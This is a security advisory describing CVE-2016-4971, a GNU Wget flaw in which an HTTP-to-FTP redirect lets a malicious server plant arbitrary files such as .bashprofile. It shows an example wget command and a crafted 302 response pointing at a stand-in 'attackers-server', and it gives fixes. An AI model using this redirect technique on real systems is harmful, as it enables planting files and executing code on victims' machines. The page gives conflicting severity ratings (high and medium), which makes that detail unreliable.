CVE-2016-4971: High severity wget vulnerability
GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bashprofile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.
Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:
wget http://attackers-server/safefile.txt
An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request.
For example, if the attacker's server replies with the following response:
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bashprofile Content-Length: 262 Server: Apache
wget will automatically follow the redirect and will download a malicious .bashprofile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safefile.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.
Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.
Other sources
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2016-4971?
CVE-2016-4971 has been classified as a medium severity vulnerability due to its potential for exploitation through malicious website links.
How do I fix CVE-2016-4971?
To fix CVE-2016-4971, you should update GNU Wget to version 1.18 or later.
What are the potential impacts of CVE-2016-4971?
Exploitation of CVE-2016-4971 can lead to unauthorized saving of arbitrary remote files, which may lead to code execution.
Which platforms are affected by CVE-2016-4971?
CVE-2016-4971 affects several versions of GNU Wget and specific versions of Ubuntu Linux and Oracle Solaris.
Is there a workaround for CVE-2016-4971?
A possible workaround for CVE-2016-4971 is to avoid downloading files from untrusted or suspicious websites.